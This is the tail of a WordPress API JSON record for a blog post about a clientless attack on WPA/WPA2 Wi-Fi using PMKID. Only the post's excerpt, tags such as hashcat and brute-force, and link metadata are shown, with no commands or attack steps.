Aircrack-ng<\/a>&rsquo;.<\/p>\n\n<div style=\"font-size: 0px; height: 0px; line-height: 0px; margin: 0; padding: 0; clear: both;\"><\/div>","protected":false},"excerpt":{"rendered":"<p>A new attack on Wi-Fi without Clients There are a lot of various attacks on Wi-Fi. The most universal attack (working on almost all access points) is the attack on WPA\/WPA2 technology, because it is used in the vast majority of wireless access points. When a Client connects to a<a href=\"https:\/\/miloserdov.org\/?p=2100\" class=\"read-more\">Read More<\/a><\/p>\n","protected":false},"author":1,"featured_media":2114,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[65,195,97,17,18,64,192,5,4],"class_list":["post-2100","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-wireless-attacks","tag-brute-force","tag-clientless-attack","tag-hacking","tag-handshake","tag-hashcat","tag-passwords","tag-pmkid","tag-wireless","tag-wpa-wpa2"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts\/2100"}],"collection":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2100"}],"version-history":[{"count":12,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts\/2100\/revisions"}],"predecessor-version":[{"id":7793,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts\/2100\/revisions\/7793"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/media\/2114"}],"wp:attachment":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2100"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2100"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2100"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}